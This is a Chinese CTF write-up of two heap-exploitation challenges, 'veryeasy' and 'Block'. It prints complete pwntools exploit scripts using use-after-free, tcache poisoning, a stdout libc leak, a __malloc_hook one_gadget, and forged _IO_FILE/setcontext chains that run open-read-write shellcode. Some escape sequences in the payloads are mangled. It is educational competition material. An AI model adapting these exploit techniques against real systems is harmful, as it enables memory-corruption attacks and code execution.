2020首届钓鱼城杯

veryeasy

题目附件

这题保护全开,不太好利用。

漏洞

在free后没用清空指针,存在UAF。

这里需要注意的是存在对free次数的检查,但是if语句中是无符号数的比较。通过Add 9个以上的chunk使DAT_00302010的值为-1绕过检查。

利用过程

glibc版本是2.27,tcache的存在使得堆利用变得非常容易。

先free 8个chunk,多余的一个chunk便会被放入unsortbin中。代码如下:

    Add(0, 0x80, 'A'*0x10, p)
    Add(1, 0x80, 'A'*0x10, p)
    Add(2, 0x80, 'A'*0x10, p)
    Add(3, 0x80, 'A'*0x10, p)
    Add(4, 0x80, 'A'*0x10, p)
    Add(5, 0x80, 'A'*0x10, p)
    Add(6, 0x80, 'A'*0x10, p)
    Add(7, 0x80, 'A'*0x10, p)
    Add(8, 0x80, 'A'*0x10, p)
    Add(9, 0x80, 'A'*0x10, p)
    Delete(0, p)
    Delete(1, p)
    Delete(2, p)
    Delete(3, p)
    Delete(4, p)
    Delete(5, p)
    Delete(0, p)
    Delete(0, p)

结果如下:

因为stdout的地址和unsortbin的地址有5位不同,不能直接利用部分写来爆破。仔细观察可以发现stdinmain_arena上方不远处,在stdin中有跟stdout的地址只有4位不同的数据,如下

利用部分写可以把该值加入tcache中,接着malloc两个chunk就可以把这个值放在tcache链表的头部,代码如下

    Edit(0, 'x88xfa', p)
    Add(10, 0x80, 'A'*0x10, p)
    Add(11, 0x80, 'A'*0x10, p)

结果如下

接着free一个chunk,利用部分写改写这个值为stdout的地址,代码如下

结果如下

之后把stdout malloc出来改写一下就可以leak信息。获得libc基址后就可以算出__malloc_hook的地址。不过这题不能直接向__malloc_hook中写入one_gadget,得利用realloc函数做中专来满足one_gadget的条件。

完整代码如下:

#!/usr/bin/python
#-*-coding:utf8-*-
from pwn import *
libc = ELF('./libc-2.27.so')
context.terminal = ['tmux', 'splitw', '-h', '-p', '60']
#context.log_level = 'debug'

def Add(index, size, content, p):
    p.sendlineafter('Your choice :', '1')
    p.sendlineafter('id:', str(index))
    p.sendlineafter('size:', str(size))
    p.sendafter('content:', content)

def Edit(index, content, p):
    p.sendlineafter('Your choice :', '2')
    p.sendlineafter('id:', str(index))
    p.sendafter('content:', content)

def Delete(index, p):
    p.sendlineafter('Your choice :', '3')
    p.sendlineafter('id:', str(index))

def pwn():
    p = process('./pwn')
    Add(0, 0x80, 'A'*0x10, p)
    Add(1, 0x80, 'A'*0x10, p)
    Add(2, 0x80, 'A'*0x10, p)
    Add(3, 0x80, 'A'*0x10, p)
    Add(4, 0x80, 'A'*0x10, p)
    Add(5, 0x80, 'A'*0x10, p)
    Add(6, 0x80, 'A'*0x10, p)
    Add(7, 0x80, 'A'*0x10, p)
    Add(8, 0x80, 'A'*0x10, p)
    Add(9, 0x80, 'A'*0x10, p)
    Delete(0, p)
    Delete(1, p)
    Delete(2, p)
    Delete(3, p)
    Delete(4, p)
    Delete(5, p)
    Delete(0, p)
    Delete(0, p)

    Edit(0, 'x88xfa', p)
    Add(10, 0x80, 'A'*0x10, p)
    Add(11, 0x80, 'A'*0x10, p)

    Delete(2, p)


    # 改写fd指针,使其指向stdout
    Edit(2, 'x60x07', p)
    Add(12, 0x80, 'A'*0x10, p)

    try:
        Add(13, 0x80, p64(0xfbad1800) + p64(0)*3 + 'x00', p)
        libc_base = u64(p.recvuntil('x7f')[-6:] + 'x00x00') - 0x3ed8b0
        info("libc_base ==> " + hex(libc_base))
        libc.address = libc_base
    except:
        p.close()
        return 0
    if (libc_base >> 40) != 0x7f:
        return 0

    malloc_hook = libc.symbols['__malloc_hook']
    info("malloc_hook ==> " + hex(malloc_hook))
    realloc = libc.symbols['__libc_realloc']
    malloc = libc.symbols['__libc_malloc']
    a = [0x4f365, 0x4f3c2, 0x10a45c]
    one_gadget = libc_base + a[2]

    Delete(0, p)
    Edit(0, p64(malloc_hook-0x8), p)
    Add(14, 0x80, 'A'*0x10, p)
    Add(15, 0x80,p64(one_gadget) + p64(realloc+0x6), p)
    p.sendlineafter('Your choice :', '1')
    p.sendlineafter('id:', '16')
    p.sendlineafter('size:', str(0x80))
    p.interactive()
    p.close()
    return 1

if __name__ == '__main__':
    while True:
        a = pwn()
        if a:
            break

踩坑记录:

这题在把chunk放进unsortbin后我的第一感觉是部分写leak信息,之后调试发现不行,就习惯性的在main_arena下面找满足条件的值,没想到往上面找,结果浪费了很多时间。知道stdin在main_arena附近也算是一点小收获吧。

在glibc2.23中unsortbin的地址只有4位跟stdout不同,可以直接部分写。

Block

题目附件

程序是保护全开的。

程序存在单子节溢出,又又打印函数。利用large chunk就可以泄漏堆地址和libc基址。

程序开了seccomp保护,不能getshell,就只能用orw来回去flag。

这题可以用exit来orw。先给出调用链:exit-> __run_exit_handlers+560 -> _IO_cleanup + 32 -> _IO_flush_all_lockp + 287 -> _IO_str_finish + 18 -> setcontext + 53 -> orw_code

先double free修改_IO_list_all为伪造的_IO_FILE。

接下来我们重点关注_IO_FILE怎么伪造。先上一张图:

现在逐个解释每处数据的作用:

构造1出的数据是为了绕过上图中红色圈中的检查,接下用会自行_IO_OVERFLOW这个宏。这个宏对应如下汇编代码

其中rbx是伪造的_IO_FILE的地址,rax是伪造的3处的数据,其在_IO_str_jumps附近。

接着进入_IO_str_fnish。

其中rbx是fp,也就是伪造的额IO_FILE,call指令调用的是4处的函数setcontext+53,其参数rdi是2处的数据。

接着进入setcontext函数。

9处数据是mprotext函数,567是它三个参数8是写入的code的地址。

完整exp如下:

#!/usr/bin/python
#-*- coding:utf8 -*-
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h', '-p', '60'])
p = process('./block')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def Add(type1, size, content):
    p.sendlineafter('Choice >> ', '1')
    p.sendlineafter('type: ', str(type1))
    p.sendlineafter('size: ', str(size))
    p.sendafter('content: ', content)

def Delete(index):
    p.sendlineafter('Choice >> ', '2')
    p.sendlineafter('index: ', str(index))

def Show(index):
    p.sendlineafter('Choice >> ', '3')
    p.sendlineafter('index: ', str(index))

def Edit(index, content):
    p.sendlineafter('Choice >> ', '4')
    p.sendlineafter('index: ', str(index))
    p.sendafter('content: ', content)
    
for i in range(7):
    Add(3, 0x1e0, 'A'*0x10 + '
')
for i in range(7):
    Delete(i)

Add(3, 0x68, 'A'*0x10 + '
')
Add(3, 0xf8, 'A'*0x10 + '
')
Add(3, 0x68, 'A'*0x10 + '
')
Add(3, 0x78, 'A'*0x10 + '
')
Add(3, 0x68, 'A'*0x10 + '
')
Add(1, 0x450, 'A'*0x10 + '
')
Add(3, 0x68, 'A'*0x10 + '
')

Edit(0, 'x00'*0x68 + 'xf1' + '
')

Delete(1)

Add(3, 0xf8, 'A'*0x10 + '
')
Add(3, 0x68, 'A'*0x10 + '
')
Delete(5)

# leak
Show(3)
p.recvuntil('The content is ')
libc_base = u64(p.recv(8)) - 0x3ebca0
libc.address = libc_base
info("libc_base ==> " + hex(libc_base))
chunk_addr = u64(p.recv(8))
info("chunk_addr ==> " + hex(chunk_addr))

mprotect = libc.symbols['mprotect']
setcontext = libc.symbols['setcontext']
_IO_str_jumps = libc_base + 0x3e8360

#payload = 'A'*0x10 + '
'
code  = shellcraft.open('./flag')
code += shellcraft.read(3, "rsp", 0x100)
code += shellcraft.write(1, "rsp", 0x100)

payload  = 'x00'*0x28 + p64(1) + 'x00'*0x8 + p64(chunk_addr + 0x120)
payload  = payload.ljust(0xd8, 'x00') + p64(_IO_str_jumps - 0x8) + 'x00'*8 + p64(setcontext + 0x35)
payload += 'x00'*0x20 + 'x00'*0x68 + p64(chunk_addr + 0x80)
payload += p64(0x1000) + 'x00'*0x10 + p64(0x7)
payload += 'x00'*0x10 + p64(chunk_addr + 0x80 + 0x200) + p64(mprotect) + p64(0) + p64(0)
payload += 'x00'*0xa0 + p64(chunk_addr + 0x80 + 0x200 + 0x8)
payload += asm(code)
Add(1, 0x450, payload + '
')

# double free
Delete(2)
Delete(4)
Delete(7)

# 把_IO_list_all加入fastbin中
Add(3, 0x68, p64(libc_base + 0x3ec63d) + '
')
Add(3, 0x68, 'A'*0x10 + '
')
Add(3, 0x68, p64(chunk_addr + 0x10) + '
')
Add(3, 0x68, 'x00'*0x13 + p64(chunk_addr + 0x10) + '
')

gdb.attach(p, 'b * 0x555555554000+0xcfa
c')
p.sendlineafter('Choice >> ', '5')

p.interactive()
原文地址:https://www.cnblogs.com/countfatcode/p/13596810.html